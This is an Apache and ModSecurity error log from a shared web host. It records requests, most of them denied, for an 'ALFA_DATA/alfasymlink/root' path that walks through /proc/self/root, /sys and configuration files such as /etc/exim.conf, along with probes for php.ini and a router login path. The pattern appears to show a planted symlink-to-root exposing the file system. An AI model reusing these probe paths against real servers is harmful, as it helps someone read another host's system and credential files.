[Sat Oct 24 11:30:30.956353 2026] [security2:error] [pid 2653689:tid 2653689] [client 85.208.96.197:30304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/corepack/shims/corepack.cmd"] [unique_id "atzPFgoF0dEltz9SGyy6jQAAABU"]
[Sat Oct 24 11:30:34.383746 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.203.68.145:47049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:30:50.206034 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.147.238.89:19417] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:30:58.327504 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.217.82.254:62320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:31:10.586873 2026] [authz_core:error] [pid 2661979:tid 2661979] [client 93.152.221.60:33418] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:31:14.135080 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.45.92.83:24161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:31:26.158693 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 23.21.179.27:64266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:31:30.173375 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.221.156.96:20432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:31:34.138555 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.235.239.240:26582] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:31:36.623809 2026] [security2:error] [pid 2653689:tid 2653689] [client 185.191.171.13:54750] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/exim.conf"] [unique_id "atzPWAoF0dEltz9SGyy6kAAAABU"]
[Sat Oct 24 11:31:36.624192 2026] [security2:error] [pid 2653689:tid 2653689] [client 185.191.171.13:54750] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/exim.conf"] [unique_id "atzPWAoF0dEltz9SGyy6kAAAABU"]
[Sat Oct 24 11:31:36.624503 2026] [security2:error] [pid 2653689:tid 2653689] [client 185.191.171.13:54750] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/exim.conf"] [unique_id "atzPWAoF0dEltz9SGyy6kAAAABU"]
[Sat Oct 24 11:31:42.149665 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.203.68.145:48243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:1a/eject
[Sat Oct 24 11:32:02.739623 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 52.70.123.241:22657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:09/eject
[Sat Oct 24 11:32:06.329970 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.203.237.170:39744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty30/subsystem/tty43/subsystem/ttyS2/io_type
[Sat Oct 24 11:32:10.156680 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.6.5.24:55181] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:14.160083 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 23.21.228.180:43048] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:26.142751 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 54.156.248.117:51980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0e/eject
[Sat Oct 24 11:32:34.146703 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.215.221.125:19926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:38.160650 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.206.249.188:34995] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:46.139057 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 98.84.60.17:5786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:53.929255 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 85.208.96.194:42464] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:54.140752 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.204.37.237:16274] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:32:58.131681 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.205.120.22:54951] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:06.145830 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.226.34.98:38161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:10.153984 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 107.20.25.33:39102] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:26.218920 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.238.45.183:12554] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:30.334243 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.94.40.182:44478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:34.152693 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.209.174.110:45440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:36.549165 2026] [security2:error] [pid 2661978:tid 2661978] [client 16.216.88.122:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "atzP0Fb2-c1qsZ5qYR7_ngAAAAM"]
[Sat Oct 24 11:33:36.549599 2026] [security2:error] [pid 2661978:tid 2661978] [client 16.216.88.122:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "atzP0Fb2-c1qsZ5qYR7_ngAAAAM"]
[Sat Oct 24 11:33:36.549680 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 85.208.96.207:19718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__jump_table
[Sat Oct 24 11:33:36.549882 2026] [security2:error] [pid 2661978:tid 2661978] [client 16.216.88.122:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "atzP0Fb2-c1qsZ5qYR7_ngAAAAM"]
[Sat Oct 24 11:33:42.157604 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.206.47.187:35782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:33:54.153523 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.22.64.232:14611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:34:02.228429 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 34.196.114.170:16056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/iomem_base
[Sat Oct 24 11:34:05.392537 2026] [security2:error] [pid 2653689:tid 2653689] [client 110.38.240.127:33462] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/boaform/admin/formLogin"] [unique_id "atzP7QoF0dEltz9SGyy6lwAAABU"]
[Sat Oct 24 11:34:06.275530 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.232.11.247:36554] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:34:10.321203 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.25.120.246:9919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:34:26.204824 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 34.195.248.30:31763] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/uevent
[Sat Oct 24 11:34:38.160765 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.71.216.196:51820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:34:44.870670 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.12:49312] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:34:54.161001 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 98.83.72.38:28486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/xhci_hcd/new_id
[Sat Oct 24 11:34:58.258688 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 35.168.238.50:61427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:09/eject
[Sat Oct 24 11:35:02.335172 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.215.221.125:7926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:03.507360 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.17:30738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/order
[Sat Oct 24 11:35:10.155687 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.221.156.96:23932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:22.197079 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.193.102.198:34786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:26.272669 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.27.153.9:57393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:30.166572 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.203.68.145:1993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:42.202236 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.204.174.139:48952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:46.069687 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.15:31964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/destroy_by_rcu
[Sat Oct 24 11:35:50.183950 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.163.136.244:32067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:35:54.832592 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 3.81.253.213:40631] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:19/eject
[Sat Oct 24 11:36:02.150199 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.222.190.107:43845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:36:34.227128 2026] [ssl:error] [pid 2661974:tid 2661974] (5)Input/output error: [client 34.234.197.175:24377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:36:41.324312 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 85.208.96.203:34862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/cpu_partial
[Sat Oct 24 11:36:42.330444 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.6.97.88:30501] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:36:42.549313 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.14:34360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/sanity_checks
[Sat Oct 24 11:36:46.384357 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.204.71.8:28597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:36:54.144703 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.196.114.170:30961] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:36:58.983323 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 185.191.171.10:19780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:14.276527 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.215.77.19:13025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:18.165914 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.71.203.206:46099] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:18.469707 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 185.191.171.10:13020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:30.152948 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 184.73.195.18:44744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:36.091844 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 185.191.171.9:57308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/slab_size
[Sat Oct 24 11:37:46.267636 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 184.73.47.24:26681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:54.208215 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 98.84.60.17:50105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:37:58.185596 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.59.253:48880] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:02.206633 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.210.223.61:40864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:06.190964 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.207.252.58:15676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:18.220931 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.203.152.231:32963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:26.149858 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.23.112.144:40667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:38.156121 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 98.83.8.142:40723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:46.142062 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 23.21.179.27:26748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:38:49.726535 2026] [authz_core:error] [pid 2653689:tid 2653689] [client 47.95.204.14:51318] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:39:02.176941 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.202.233.37:38106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:39:06.289727 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.45.15.233:42507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:39:14.182839 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.91.122.193:43190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:39:18.148400 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 100.29.34.97:6675] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:39:34.186630 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.206.93.215:32450] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:39:34.186923 2026] [security2:error] [pid 2661978:tid 2661978] [client 44.206.93.215:32450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ptmx/subsystem/tty5/subsystem/tty3/power/control"] [unique_id "atzRNlb2-c1qsZ5qYR7_qwAAAAM"]
[Sat Oct 24 11:39:34.186958 2026] [security2:error] [pid 2661978:tid 2661978] [client 44.206.93.215:32450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ptmx/subsystem/tty5/subsystem/tty3/power/control"] [unique_id "atzRNlb2-c1qsZ5qYR7_qwAAAAM"]
[Sat Oct 24 11:39:42.140382 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.213.85.234:63853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:39:58.180435 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.243.63.52:48198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:40:18.134115 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.194.165.45:9352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:40:26.158648 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 18.207.89.138:36946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty15/subsystem/ptmx/subsystem/ttyS0/device/driver/unbind
[Sat Oct 24 11:40:51.733859 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.3:45046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/ctor
[Sat Oct 24 11:40:54.343599 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.7.33.248:62067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:10.181398 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.152.163.42:54852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:14.262242 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.8:16902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/sanity_checks
[Sat Oct 24 11:41:18.192873 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.209.100.30:26637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:30.406415 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.215.61.66:4833] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:39.934660 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.10:39740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nft_compat/sections/__bug_table
[Sat Oct 24 11:41:42.226291 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.83.240.58:31083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:46.478738 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 18.204.89.56:7552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:50.263880 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.194.14.255:26150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:41:51.065702 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.18:12488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_slabs
[Sat Oct 24 11:42:10.470324 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.213.85.234:47112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:42:14.247270 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 52.4.238.8:40564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS1/xmit_fifo_size
[Sat Oct 24 11:42:18.476204 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.197.82.195:45214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:42:22.379220 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 100.27.153.9:32457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:42:42.340531 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.225.81.20:35841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:42:46.777563 2026] [ssl:error] [pid 2653691:tid 2653691] (5)Input/output error: [client 34.234.197.175:59655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:42:50.256975 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.192.125.239:53585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:42:58.459058 2026] [ssl:error] [pid 2653689:tid 2653689] (5)Input/output error: [client 3.224.215.150:27095] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:12.187138 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.54.157.23:44108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:14.394640 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 23.21.179.27:54777] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:18.321459 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.206.212.24:43595] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:26.314966 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.205.74.196:43445] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:38.364633 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.84.147.79:6940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:42.762089 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.216.227.216:39727] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:43:46.504093 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.238.45.183:44330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:44:02.377972 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.204.174.139:41943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:44:08.202557 2026] [core:crit] [pid 2653819:tid 2653819] (13)Permission denied: [client 216.244.66.250:45706] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/124/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/124/fd/' is executable
